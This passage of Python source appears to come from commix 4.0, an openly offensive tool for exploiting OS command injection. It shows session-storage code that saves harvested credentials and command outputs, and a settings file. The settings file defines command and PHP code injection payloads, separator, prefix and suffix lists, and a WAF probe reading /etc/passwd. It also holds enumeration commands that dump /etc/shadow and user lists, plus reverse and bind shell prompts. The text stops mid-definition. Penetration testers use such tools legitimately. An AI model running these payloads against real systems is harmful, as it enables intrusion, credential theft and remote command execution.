settings.LOAD_SESSION = None
return techniques
"""
Export successful applied injection level from session file.
"""
def applied_levels(url, http_request_method):
level = settings.DEFAULT_INJECTION_LEVEL
try:
conn = sqlite3.connect(settings.SESSION_FILE)
query = "SELECT * FROM sqlite_master WHERE name = '" + table_name(url) + "_ip' AND type = 'table';"
result = conn.execute(query)
if result:
query = "SELECT * FROM " + table_name(url) + "_ip WHERE url like '%" + split_url(url) + "%';"
cursor = conn.execute(query).fetchall()
if cursor:
for session in cursor:
http_header = session[12]
level = int(session[18])
if http_header:
if http_header == settings.COOKIE.lower():
level = settings.COOKIE_INJECTION_LEVEL
else:
level = settings.HTTP_HEADER_INJECTION_LEVEL
return level
except sqlite3.OperationalError as err_msg:
settings.LOAD_SESSION = None
return level
except:
settings.LOAD_SESSION = None
return level
"""
Export successful injection points from session file.
"""
def check_stored_injection_points(url, check_parameter, http_request_method):
_ = False
try:
techniques = []
conn = sqlite3.connect(settings.SESSION_FILE)
query = "SELECT * FROM sqlite_master WHERE name = '" + table_name(url) + "_ip' AND type = 'table';"
result = conn.execute(query).fetchall()
# vuln_parameter = check_parameter
if result:
query = "SELECT * FROM " + table_name(url) + "_ip WHERE url like '%" + split_url(url) + "%';"
cursor = conn.execute(query).fetchall()
if cursor:
for session in cursor:
url = session[1]
if session[2] == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE:
technique = session[2].split()[2][0]
else:
technique = session[2][0]
if technique in menu.options.tech:
_ = True
techniques.append(technique)
cookie = session[20]
if cookie:
if settings.INJECT_TAG in cookie:
settings.COOKIE_INJECTION = True
menu.options.cookie = cookie
techniques = list(set(techniques))
techniques = "".join(str(x) for x in techniques)
if _:
vuln_parameter = session[6]
settings.LOAD_SESSION = True
settings.INJECTION_CHECKER = True
if not settings.MULTI_TARGETS:
settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter)
return url, vuln_parameter
else:
settings.LOAD_SESSION = False
return url, vuln_parameter
else:
settings.LOAD_SESSION = None
return url, check_parameter
except sqlite3.OperationalError as err_msg:
settings.LOAD_SESSION = None
return url, check_parameter
except:
settings.LOAD_SESSION = None
return url, check_parameter
"""
Export successful injection points from session file.
"""
def export_injection_points(url, technique, injection_type, http_request_method):
try:
conn = sqlite3.connect(settings.SESSION_FILE)
result = conn.execute("SELECT * FROM sqlite_master WHERE name = '" + table_name(url) + "_ip' AND type = 'table';")
if result:
query = "SELECT * FROM " + table_name(url) + "_ip WHERE " + \
"url like '%" + split_url(url) + "%' AND " + \
"technique == '" + technique + "' AND " + \
"injection_type == '" + injection_type + "' AND " + \
"http_request_method == '" + http_request_method + "';"
cursor = conn.execute(query).fetchall()
if cursor:
for session in cursor:
url = session[1]
technique = session[2]
injection_type = session[3]
separator = session[4]
shell = session[5]
vuln_parameter = session[6]
prefix = session[7]
suffix = session[8]
TAG = session[9]
alter_shell = session[10]
payload = session[11]
http_header = session[12]
http_request_method = session[13]
url_time_response = session[14]
timesec = session[15]
exec_time = session[16]
output_length = session[17]
is_vulnerable = session[18]
data = session[19]
cookie = session[20]
if http_header:
settings.HTTP_HEADER = http_header
if cookie:
menu.options.cookie = cookie
if data:
settings.IGNORE_USER_DEFINED_POST_DATA = False
menu.options.data = data
if settings.INJECTION_LEVEL != is_vulnerable:
settings.INJECTION_LEVEL = int(is_vulnerable)
return url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable
else:
settings.LOAD_SESSION = None
return False
else:
no_such_table = True
pass
except sqlite3.OperationalError as err_msg:
settings.LOAD_SESSION = None
return False
except:
settings.LOAD_SESSION = None
return False
"""
Import successful command execution outputs to session file.
"""
def store_cmd(url, cmd, shell, vuln_parameter):
if any(type(_) is str for _ in (url, cmd, shell, vuln_parameter)):
try:
conn = sqlite3.connect(settings.SESSION_FILE)
conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_ir" + \
"(cmd VARCHAR, output VARCHAR, vuln_parameter VARCHAR);")
conn.execute("INSERT INTO " + table_name(url) + "_ir(cmd, output, vuln_parameter) " \
"VALUES(?,?,?)", \
(str(base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode()), \
str(base64.b64encode(shell.encode(settings.DEFAULT_CODEC)).decode()), \
str(vuln_parameter)))
conn.commit()
conn.close()
except sqlite3.OperationalError as err_msg:
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
except (TypeError, AttributeError) as err_msg:
pass
"""
Export successful command execution outputs from session file.
"""
def export_stored_cmd(url, cmd, vuln_parameter):
try:
output = None
conn = sqlite3.connect(settings.SESSION_FILE)
query = "SELECT output FROM " + table_name(url) + \
"_ir WHERE cmd='" + base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode() + "' AND " + \
"vuln_parameter= '" + vuln_parameter + "';"
cursor = conn.execute(query).fetchall()
conn.commit()
conn.close()
for session in cursor:
output = base64.b64decode(session[0])
try:
return output.decode(settings.DEFAULT_CODEC)
except AttributeError:
return output
except sqlite3.OperationalError as err_msg:
pass
"""
Import valid credentials to session file.
"""
def import_valid_credentials(url, authentication_type, admin_panel, username, password):
try:
conn = sqlite3.connect(settings.SESSION_FILE)
conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_creds" + \
"(id INTEGER PRIMARY KEY, url VARCHAR, authentication_type VARCHAR, admin_panel VARCHAR, "\
"username VARCHAR, password VARCHAR);")
conn.execute("INSERT INTO " + table_name(url) + "_creds(url, authentication_type, " \
"admin_panel, username, password) VALUES(?,?,?,?,?)", \
(str(url), str(authentication_type), str(admin_panel), \
str(username), str(password)))
conn.commit()
conn.close()
except sqlite3.OperationalError as err_msg:
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
except sqlite3.DatabaseError as err_msg:
checks.error_loading_session_file()
"""
Export valid credentials from session file.
"""
def export_valid_credentials(url, authentication_type):
try:
output = None
conn = sqlite3.connect(settings.SESSION_FILE)
query = "SELECT username, password FROM " + table_name(url) + \
"_creds WHERE url like '%" + split_url(url) + "%' AND " + \
"authentication_type= '" + authentication_type + "';"
cursor = conn.execute(query).fetchall()
conn.commit()
conn.close()
return ":".join(cursor[0])
except sqlite3.OperationalError as err_msg:
pass
# eof commix-4.0/src/utils/settings.py 0000775 0000000 0000000 00000122032 14731205621 0017016 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import os
import sys
import time
import random
import string
import codecs
from datetime import date
from datetime import datetime
from src.core.compat import xrange
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.six.moves import reload_module as _reload_module
# argv checks
def sys_argv_checks():
tamper_index = None
for i in xrange(len(sys.argv)):
# Disable coloring
if sys.argv[i] == "--disable-coloring":
from src.utils import colors
colors.ENABLE_COLORING = False
"""
Dirty hack from sqlmap [1], regarding merging of tamper script arguments (e.g. --tamper A --tamper B -> --tamper=A,B)
[1] https://github.com/sqlmapproject/sqlmap/commit/f4a0820dcb5fded8bc4d0363c91276eb9a3445ae
"""
if sys.argv[i].startswith("--tamper"):
if tamper_index is None:
tamper_index = i if '=' in sys.argv[i] else (i + 1 if i + 1 < len(sys.argv) and not sys.argv[i + 1].startswith('-') else None)
else:
sys.argv[tamper_index] = "%s,%s" % (sys.argv[tamper_index], sys.argv[i].split('=')[1] if '=' in sys.argv[i] else (sys.argv[i + 1] if i + 1 < len(sys.argv) and not sys.argv[i + 1].startswith('-') else ""))
sys.argv[i] = ""
# argv checks
sys_argv_checks()
from src.thirdparty.colorama import Fore, Back, Style, init
class HTTPMETHOD(object):
GET = "GET"
POST = "POST"
HEAD = "HEAD"
PUT = "PUT"
DELETE = "DELETE"
TRACE = "TRACE"
OPTIONS = "OPTIONS"
CONNECT = "CONNECT"
PATCH = "PATCH"
# Status
FAIL_MSG = Fore.RED + " " * 10 + Style.RESET_ALL
FAIL_STATUS = "" + FAIL_MSG + ""
info_msg = Fore.GREEN + " " * 10 + Style.RESET_ALL
SUCCESS_STATUS = "" + info_msg + ""
# Status Signs
LEGAL_DISCLAIMER = "(" + Style.BRIGHT + Fore.RED + "!" + Style.RESET_ALL + ") " + "Legal disclaimer: "
INFO_SIGN = Style.RESET_ALL + "[" + Fore.GREEN + "info" + Style.RESET_ALL + "] "
INFO_BOLD_SIGN = "[" + Fore.GREEN + Style.BRIGHT + "info" + Style.RESET_ALL + "] "
REQUEST_SIGN = Style.RESET_ALL + "[" + Style.BRIGHT + Back.MAGENTA + "traffic" + Style.RESET_ALL + "] "
RESPONSE_SIGN = Style.RESET_ALL + "[" + Style.BRIGHT + Back.MAGENTA + "traffic" + Style.RESET_ALL + "] "
QUESTION_SIGN = Style.BRIGHT
TOTAL_OF_REQUESTS_COLOR = Fore.LIGHTYELLOW_EX
WARNING_SIGN = "[" + Fore.LIGHTYELLOW_EX + "warning" + Style.RESET_ALL + "] "
WARNING_BOLD_SIGN = "[" + Style.BRIGHT + Fore.YELLOW + "warning" + Style.RESET_ALL + "] " + Style.BRIGHT
ERROR_SIGN = "[" + Fore.RED + "error" + Style.RESET_ALL + "] "
ERROR_BOLD_SIGN = "[" + Style.BRIGHT + Fore.RED + "error" + Style.RESET_ALL + "] "
CRITICAL_SIGN = "[" + Back.RED + "critical" + Style.RESET_ALL + "] "
PAYLOAD_SIGN = "[" + Fore.CYAN + "payload" + Style.RESET_ALL + "] "
SUB_CONTENT_SIGN = " " * 11 + Fore.GREY + "|_ " + Style.RESET_ALL
SUB_CONTENT_SIGN_TYPE = Fore.LIGHTRED_EX + " * " + Style.RESET_ALL
TRAFFIC_SIGN = HTTP_CONTENT_SIGN = ""
ABORTION_SIGN = ERROR_SIGN
DEBUG_SIGN = "[" + Back.BLUE + Fore.WHITE + "debug" + Style.RESET_ALL + "] "
DEBUG_BOLD_SIGN = "[" + Back.BLUE + Style.BRIGHT + Fore.WHITE + "debug" + Style.RESET_ALL + "] " + Style.BRIGHT
CHECK_SIGN = DEBUG_SIGN + "Checking for a valid pair of HTTP authentication credentials: "
OS_SHELL_TITLE = Style.BRIGHT + "Pseudo-Terminal Shell (type '?' for available options)" + Style.RESET_ALL
OS_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """
REVERSE_TCP_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """
BIND_TCP_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """
def print_time():
return "[" + Fore.LIGHTBLUE_EX + datetime.now().strftime("%H:%M:%S") + Style.RESET_ALL + "] "
# Print execution status
def execution(status):
debug_msg = status + " " + APPLICATION + " at " + datetime.now().strftime("%H:%M:%S") + " (" + str(date.today()) + ")."
return print_time() + DEBUG_SIGN + str(debug_msg) + Style.RESET_ALL
# Print legal disclaimer message
def print_legal_disclaimer_msg(legal_disclaimer_msg):
result = LEGAL_DISCLAIMER + str(legal_disclaimer_msg) + Style.RESET_ALL
return result
# Print error message
def print_error_msg(err_msg):
result = print_time() + ERROR_SIGN + str(err_msg) + Style.RESET_ALL
return result
# Print error message
def print_bold_error_msg(err_msg):
result = print_time() + ERROR_BOLD_SIGN + Style.BRIGHT + str(err_msg) + Style.RESET_ALL
return result
# Print critical error message
def print_critical_msg(err_msg):
result = print_time() + CRITICAL_SIGN + str(err_msg) + Style.RESET_ALL
return result
# Print abortion message
def print_abort_msg(abort_msg):
result = print_time() + ABORTION_SIGN + str(abort_msg) + Style.RESET_ALL
return result
# Print warning message
def print_warning_msg(warn_msg):
result = print_time() + WARNING_SIGN + str(warn_msg) + Style.RESET_ALL
return result
# Print warning message
def print_bold_warning_msg(warn_msg):
result = print_time() + WARNING_BOLD_SIGN + str(warn_msg) + Style.RESET_ALL
return result
# Print debug message (verbose mode)
def print_debug_msg(debug_msg):
result = print_time() + DEBUG_SIGN + debug_msg + Style.RESET_ALL
return result
# Print bold debug message (verbose mode)
def print_bold_debug_msg(debug_msg):
result = print_time() + DEBUG_BOLD_SIGN + debug_msg + Style.RESET_ALL
return result
# Print request HTTP message
def print_request_msg(req_msg):
result = print_time() + REQUEST_SIGN + str(req_msg) + Style.RESET_ALL
return result
# Print response HTTP message
def print_response_msg(resp_msg):
result = print_time() + RESPONSE_SIGN + str(resp_msg) + Style.RESET_ALL
return result
# Print information message
def print_info_msg(info_msg):
result = print_time() + INFO_SIGN + str(info_msg) + Style.RESET_ALL
return result
# Print bold information message
def print_bold_info_msg(info_msg):
result = print_time() + INFO_BOLD_SIGN + Style.BRIGHT + str(info_msg) + Style.RESET_ALL
return result
# Print payload (verbose mode)
def print_payload(payload):
result = print_time() + PAYLOAD_SIGN + str(payload) + Style.RESET_ALL
return result
# Print HTTP traffic (verbose mode)
def print_traffic(traffic):
result = TRAFFIC_SIGN + str(traffic) + Style.RESET_ALL
return result
def print_request_num(number):
result = TOTAL_OF_REQUESTS_COLOR + "#" + str(number) + Style.RESET_ALL
return result
def print_output(output):
result = Fore.GREEN + Style.BRIGHT + str(output) + Style.RESET_ALL
return result
# Print HTTP response content (verbose mode)
def print_http_response_content(content):
result = HTTP_CONTENT_SIGN + str(content) + Style.RESET_ALL
return result
# Print checking message (verbose mode)
def print_checking_msg(payload):
result = print_time() + CHECK_SIGN + str(payload) + Style.RESET_ALL
return result
# Print question message
def print_message(message):
result = QUESTION_SIGN + message + Style.RESET_ALL
return result
# Print sub content message
def print_sub_content(sub_content):
result = SUB_CONTENT_SIGN + sub_content + Style.RESET_ALL
return result
# Print sub content message
def print_retrieved_data(cmd, retrieved):
result = print_time() + INFO_BOLD_SIGN + Style.BRIGHT + cmd + ": " + str(retrieved) + Style.RESET_ALL
return result
# Print output of command execution
def command_execution_output(shell):
result = Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
return result
"""
Print data to stdout
"""
def print_data_to_stdout(data):
if END_LINE.CR not in data and data != "." and data != " (done)":
data = data + END_LINE.LF
sys.stdout.write(data)
sys.stdout.flush()
"""
argv input errors
"""
def sys_argv_errors():
_reload_module(sys)
try:
# Fix for Python 2.7
sys.setdefaultencoding(DEFAULT_CODEC)
except AttributeError:
pass
for i in xrange(len(sys.argv)):
# Check for illegal (non-console) quote characters.
if len(sys.argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((sys.argv[i].split('=', 1)[-1].strip() or ' ')[0], sys.argv[i][-1])):
err_msg = "Illegal (non-console) quote characters ('" + sys.argv[i] + "')."
print_data_to_stdout(print_critical_msg(err_msg))
raise SystemExit()
# Check for illegal (non-console) comma characters.
elif len(sys.argv[i]) > 1 and u"\uff0c" in sys.argv[i].split('=', 1)[-1]:
err_msg = "Illegal (non-console) comma character ('" + sys.argv[i] + "')."
print_data_to_stdout(print_critical_msg(err_msg))
raise SystemExit()
# Check for potentially miswritten (illegal '=') short option.
elif re.search(r"\A-\w=.+", sys.argv[i]):
err_msg = "Potentially miswritten (illegal '=') short option detected ('" + sys.argv[i] + "')."
print_data_to_stdout(print_critical_msg(err_msg))
raise SystemExit()
# argv checks
sys_argv_checks()
"""
The global variables.
"""
# About
APPLICATION = "commix"
DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool"
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "4.0"
REVISION = "121"
STABLE_RELEASE = True
VERSION = "v"
if STABLE_RELEASE:
VERSION = VERSION + VERSION_NUM + "-stable"
COLOR_VERSION = Style.BRIGHT + Style.UNDERLINE + Fore.WHITE + VERSION + Style.RESET_ALL
else:
VERSION = VERSION + VERSION_NUM + "-dev#" + REVISION
COLOR_VERSION = Style.UNDERLINE + Fore.WHITE + VERSION + Style.RESET_ALL
YEAR = "2014-2024"
AUTHOR_X_ACCOUNT = "@ancst"
APPLICATION_URL = "https://commixproject.com"
APPLICATION_X_ACCOUNT = "@commixproject"
# Default User-Agent
DEFAULT_USER_AGENT = APPLICATION + "/" + VERSION + " (" + APPLICATION_URL + ")"
# Legal Disclaimer
LEGAL_DISCLAIMER_MSG = "Usage of " + APPLICATION + " for attacking targets without prior mutual consent is illegal. " + \
"It is the end user's responsibility to obey all applicable local, state and federal laws. " + \
"Developers assume no liability and are not responsible for any misuse or damage caused by this program.\n"
# Random string generator
RANDOM_STRING_GENERATOR = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(10))
START_TIME = time.time()
# Maximum number of lines to save in history file
MAX_HISTORY_LENGTH = 1000
# Readline
READLINE_ERROR = False
# User-applied operating system command
USER_APPLIED_CMD = ""
# Random Tag
RANDOM_TAG = ""
if RANDOM_TAG == "" :
RANDOM_TAG = RANDOM_STRING_GENERATOR
# Proxy
PROXY_REGEX = r"((http[^:]*)://)?([\w\-.]+):(\d+)"
# Auth Credentials format
AUTH_CRED_REGEX = r"^(.*?):(.*?)$"
# Inject Tag
INJECT_TAG = "INJECT_HERE"
INJECT_TAG_REGEX = r"(?i)INJECT[_]?HERE"
VALUE_BOUNDARIES = r'[\\/](.+?)[\\/]'
INJECT_INSIDE_BOUNDARIES = None
# Default (windows) target host's python interpreter
WIN_PYTHON_INTERPRETER = "python.exe"
WIN_CUSTOM_PYTHON_INTERPRETER = "C:\\Python27\\python.exe"
USER_DEFINED_PYTHON_DIR = False
# Default (linux) target host's python interpreter
LINUX_PYTHON_INTERPRETER = "python3"
LINUX_CUSTOM_PYTHON_INTERPRETER = "python27"
USER_DEFINED_PYTHON_INTERPRETER = False
CMD_NUL = ""
# Maybe a WAF/IPS protection.
WAF_CHECK_PAYLOAD = "cat /etc/passwd|uname&&ping -c3 localhost;ls ../"
WAF_ENABLED = False
class HEURISTIC_TEST(object):
POSITIVE = True
#Basic heuristic checks for command injections
RAND_A = random.randint(1,10000)
RAND_B = random.randint(1,10000)
CALC_STRING = str(RAND_A) + " %2B " + str(RAND_B)
BASIC_STRING = "(" + CALC_STRING + ")"
BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + BASIC_STRING + ")%26echo $(" + BASIC_STRING + ")|echo $(" + BASIC_STRING + ")" + RANDOM_STRING_GENERATOR ,
"|set /a " + BASIC_STRING + "%26set /a " + BASIC_STRING
]
ALTER_SHELL_BASIC_STRING = " -c \"print(int(" + CALC_STRING + "))\""
ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")%26echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")|echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")",
"|for /f \"tokens=*\" %i in ('cmd /c " + WIN_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + "') do @set /p=%i" + CMD_NUL + " &for /f \"tokens=*\" %i in ('cmd /c " + WIN_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + "') do @set /p=%i" + CMD_NUL
]
BASIC_COMMAND_INJECTION_RESULT = str(RAND_A + RAND_B)
IDENTIFIED_COMMAND_INJECTION = False
#Basic heuristic checks for code injection warnings or... phpinfo page ;)
PHPINFO_PAYLOAD = "phpinfo()"
PHP_EXEC_FUNCTIONS = [ "" + PHPINFO_PAYLOAD + "",
"exec(" + PHPINFO_PAYLOAD + ")",
"eval(" + PHPINFO_PAYLOAD + ")",
"system(" + PHPINFO_PAYLOAD + ")"
]
PHPINFO_CHECK_PAYLOADS = [
[".print(" + x + ")" for x in PHP_EXEC_FUNCTIONS],
[")'}" + x + "'#" for x in PHP_EXEC_FUNCTIONS],
["'." + x + ".'" for x in PHP_EXEC_FUNCTIONS],
["{${" + x + "}}" for x in PHP_EXEC_FUNCTIONS],
["\\\\/{${" + x + "}}\\/\\" for x in PHP_EXEC_FUNCTIONS]
]
PHPINFO_CHECK_PAYLOADS = [x for payload in PHPINFO_CHECK_PAYLOADS for x in payload]
# Executed phpinfo()
IDENTIFIED_PHPINFO = False
CODE_INJECTION_PHPINFO = r"PHP Version </td><td class=\"v\">(([\w\.]+))"
# Code injection warnings
IDENTIFIED_WARNINGS = False
CODE_INJECTION_WARNINGS = ["eval()'d code", "runtime-created function", "usort()", "assert()", "preg_replace()"]
SKIP_CODE_INJECTIONS = False
SKIP_COMMAND_INJECTIONS = False
USER_DEFINED_URL_DATA = False
# User-defined stored POST data.
USER_DEFINED_POST_DATA = ""
# Ignore user-defined stored POST data.
IGNORE_USER_DEFINED_POST_DATA = False
# Custom injection marker
CUSTOM_INJECTION_MARKER_CHAR = "*"
CUSTOM_INJECTION_MARKER = False
ASTERISK_MARKER = "__ASTERISK__"
CUSTOM_INJECTION_MARKER_PARAMETERS_LIST = []
PRE_CUSTOM_INJECTION_MARKER_CHAR = ""
POST_CUSTOM_INJECTION_MARKER_CHAR = ""
class INJECTION_MARKER_LOCATION(object):
URL = False
DATA = False
COOKIE = False
HTTP_HEADERS = False
CUSTOM_HTTP_HEADERS = False
SKIP_NON_CUSTOM = None
# Testable parameter(s) - comma separated.
TESTABLE_PARAMETERS_LIST = []
TESTABLE_PARAMETERS = None
NOT_TESTABLE_PARAMETERS = True
# Skip testing for given parameter(s) - comma separated.
SKIP_PARAMETER = ""
# Use a proxy to connect to the target URL.
SCHEME = ""
class OS(object):
UNIX = "unix"
WINDOWS = "windows"
# Default target host OS (Unix-like)
TARGET_OS = OS.UNIX
IDENTIFIED_TARGET_OS = False
IGNORE_IDENTIFIED_OS = None
# Verbosity level (0-4, Default: 0)
VERBOSITY_LEVEL = 0
# Local HTTP server ip
LOCAL_HTTP_IP = ""
# Local HTTP server port
LOCAL_HTTP_PORT = random.randint(50000,60000)
HTML_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "data", "html"))
DISABLED_CONTENT_EXTENSIONS = (".py", ".pyc", ".md", ".txt", ".bak", ".conf", ".zip", "~")
# Detection / Exploitation phase(s)
WAF_DETECTION_PHASE = False
DETECTION_PHASE = False
EXPLOITATION_PHASE = False
# Exploitation techniques states
CLASSIC_STATE = False
EVAL_BASED_STATE = False
TIME_BASED_STATE = False
FILE_BASED_STATE = False
TEMPFILE_BASED_STATE = False
TIME_RELATIVE_ATTACK = False
# Stored applied techniques
SESSION_APPLIED_TECHNIQUES = ""
# The name of the operating system dependent module imported.
PLATFORM = os.name
IS_WINDOWS = PLATFORM == "nt"
# Check if OS is Windows.
#IS_WINDOWS = hasattr(sys, "getwindowsversion")
# Git URL.
GIT_URL = "https://github.com/commixproject/" + APPLICATION + ".git"
# Git issue URL.
ISSUES_PAGE = "https://github.com/commixproject/" + APPLICATION + "/issues/new"
COMMIX_ROOT_PATH = os.path.abspath(os.curdir)
# Output Directory
OUTPUT_DIR = ".output/"
# Output file name
OUTPUT_FILE_NAME = "logs"
# Output file name
OUTPUT_FILE_EXT = ".txt"
OUTPUT_FILE = OUTPUT_FILE_NAME + OUTPUT_FILE_EXT
# Max Length for command execution output.
MAXLEN = 10000
STDIN_PARSING = False
# Maximum response total page size (trimmed if larger)
MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024
# Slow target response.
SLOW_TARGET_RESPONSE = 3
# The testable parameter.
TESTABLE_PARAMETER = ""
TESTABLE_VALUE = ""
# The HTTP header name.
HTTP_HEADER = ""
EXTRA_HTTP_HEADERS = False
# The command injection separators.
SEPARATORS = []
DEFAULT_SEPARATORS = [";", "%26", "|", ""]
SPECIAL_SEPARATORS = ["%26%26", "||", "%0a", "%0d%0a", "%1a"]
SEPARATORS_LVL1 = DEFAULT_SEPARATORS + SPECIAL_SEPARATORS
SEPARATORS_LVL3 = SEPARATORS_LVL2 = SEPARATORS_LVL1
# The command injection prefixes.
PREFIXES = []
PREFIXES_LVL1 = [""]
PREFIXES_LVL2 = PREFIXES_LVL1 + SEPARATORS_LVL1
PREFIXES_LVL3 = PREFIXES_LVL2 + ["'", "\""]
# The command injection suffixes.
SUFFIXES = []
SUFFIXES_LVL1 = [""]
SUFFIXES_LVL2 = SUFFIXES_LVL1 + SEPARATORS_LVL1
SUFFIXES_LVL3 = SUFFIXES_LVL2 + ["'", "\"", " #", "//", "\\\\"]
# Bad combination of prefix and separator
JUNK_COMBINATION = [SEPARATORS_LVL1[i] + SEPARATORS_LVL1[j] for i in range(len(SEPARATORS_LVL1)) for j in range(len(SEPARATORS_LVL1))]
# Execution functions
EXECUTION_FUNCTIONS = []
EXECUTION_FUNCTIONS_LVL1 = ["exec"]
EXECUTION_FUNCTIONS_LVL2 = EXECUTION_FUNCTIONS_LVL1 + ["system", "shell_exec"]
EXECUTION_FUNCTIONS_LVL3 = EXECUTION_FUNCTIONS_LVL2 + ["passthru", "proc_open", "popen"]
# The code injection separators.
EVAL_SEPARATORS = []
EVAL_SEPARATORS_LVL1 = [""]
EVAL_SEPARATORS_LVL2 = EVAL_SEPARATORS_LVL1 + ["%0a"]
EVAL_SEPARATORS_LVL3 = EVAL_SEPARATORS_LVL2 + ["%0d%0a"]
# The code injection prefixes.
EVAL_PREFIXES = []
EVAL_PREFIXES_LVL1 = [".", "'.", "{${"]
EVAL_PREFIXES_LVL2 = EVAL_PREFIXES_LVL1 + [")'}", "');}"]
EVAL_PREFIXES_LVL3 = EVAL_PREFIXES_LVL2 + ["\".", "')", "\")", ");}", "\");}", ")", ";", "'", ""]
# The code injection suffixes.
EVAL_SUFFIXES = []
EVAL_SUFFIXES_LVL1 = [ "", ".'", "}}"]
EVAL_SUFFIXES_LVL2 = EVAL_SUFFIXES_LVL1 + ["'#"]
EVAL_SUFFIXES_LVL3 = EVAL_SUFFIXES_LVL2 + [".\"", "\\\\", "//", ")}", "#"]
# Raw payload (without tampering)
RAW_PAYLOAD = ""
# Single whitespace
SINGLE_WHITESPACE = " "
# The default (url-ecoded) white-space.
WHITESPACES = [_urllib.parse.quote(SINGLE_WHITESPACE)]
# Reference: http://www.w3.org/Protocols/HTTP/Object_Headers.html#uri
URI_HTTP_HEADER = "URI"
# Seconds to delay between each HTTP request.
DELAY = 0
# Seconds to delay the OS response.
TIMESEC = 0
# Seconds to delay between each HTTP retry.
DELAY_RETRY = 1
DEFAULT_INJECTION_LEVEL = 1
COOKIE_INJECTION_LEVEL = 2
HTTP_HEADER_INJECTION_LEVEL = 3
# Level of tests to perform.
# The higher the value is, the higher the number of HTTP(s) requests are. (Default: 1)
INJECTION_LEVEL = 0
USER_APPLIED_LEVEL = False
PERFORM_BASIC_SCANS = True
# Start scanning state
START_SCANNING = None
# Default Temp Directory
TMP_PATH = ""
# Default Server's Web-Root Directory
WEB_ROOT = ""
DEFAULT_WEB_ROOT = ""
CUSTOM_WEB_ROOT = False
# Counting the total of HTTP(S) requests
TOTAL_OF_REQUESTS = 0
# The max help option length.
MAX_OPTION_LENGTH = 18
# Python version.
PYTHON_VERSION = sys.version.split()[0]
# Enumeration Commands
# Output PowerShell's version number
PS_VERSION = "powershell.exe -InputFormat none write-host ([string]$(cmd /c powershell.exe -InputFormat none get-host)[3]).replace('Version','').replace(' ','').substring(1,3)"
# Current user
CURRENT_USER = "whoami"
WIN_CURRENT_USER = "echo %USERNAME%"
# The hostname
HOSTNAME = "hostname"
WIN_HOSTNAME = "echo %COMPUTERNAME%"
# Check if Current user is privileged
# Unix-like: root
IS_ROOT = "echo $(id -u)"
# Windows: admin
IS_ADMIN = "powershell.exe -InputFormat none [Security.Principal.WindowsBuiltinRole]::Administrator"
# Operation System.
RECOGNISE_OS = "uname -s"
WIN_RECOGNISE_OS = "ver"
# Distribution Description / Release
DISTRO_INFO = "echo $(lsb_release -sir)"
# Hardware platform.
RECOGNISE_HP = "uname -m"
WIN_RECOGNISE_HP = "echo %PROCESSOR_ARCHITECTURE%"
# File System access options
# Read file
FILE_READ = "cat "
FILE_WRITE_OPERATOR = " > "
WIN_FILE_WRITE_OPERATOR = "powershell.exe Set-Content "
WIN_FILE_READ = "powershell.exe get-Content "
# List file
FILE_LIST = "ls "
FILE_LIST_WIN = "powershell.exe Test-Path -Path "
CERTUTIL_DECODE_CMD = "certutil -decode "
# Write file
FILE_WRITE = "printf "
# Write file
FILE_UPLOAD = "wget "
# /etc/passwd
PASSWD_FILE = "/etc/passwd"
SYS_USERS = EVAL_SYS_USERS = "awk -F ':' '{print $1}{print $3}{print $6}' " + PASSWD_FILE
# Exports users of localgroup
WIN_SYS_USERS = "powershell.exe -InputFormat none write-host (([string]$(net user)[4..($(net user).length-3)]))"
DEFAULT_WIN_USERS = ["Administrator", "DefaultAccount", "Guest"]
# /etc/shadow
SHADOW_FILE = "/etc/shadow"
SYS_PASSES = FILE_READ + SHADOW_FILE
WIN_REPLACE_WHITESPACE = r"-replace('\s+',' '))"
# Accepts 'YES','YE','Y','yes','ye','y'
CHOICE_YES = ['YES','YE','Y','yes','ye','y']
# Accepts 'NO','N','no','n'
CHOICE_NO = ['NO','no','N','n']
# Accepts 'QUIT','Q','quit','q'
CHOICE_QUIT = ['QUIT','quit','Q','q']
# Accepts 'W','w','U','u','Q','q'
CHOICE_OS = ['W','w','U','u','Q','q','N','n']
# Accepts 'C','c','S','s','Q','q','A','a'
CHOICE_PROCEED = ['C','c','S','s','Q','q','A','a']
# Available alternative shells
AVAILABLE_SHELLS = ["python"]
# Available injection techniques.
AVAILABLE_TECHNIQUES = ['c','e','t','f']
# Supported injection types
class INJECTION_TYPE(object):
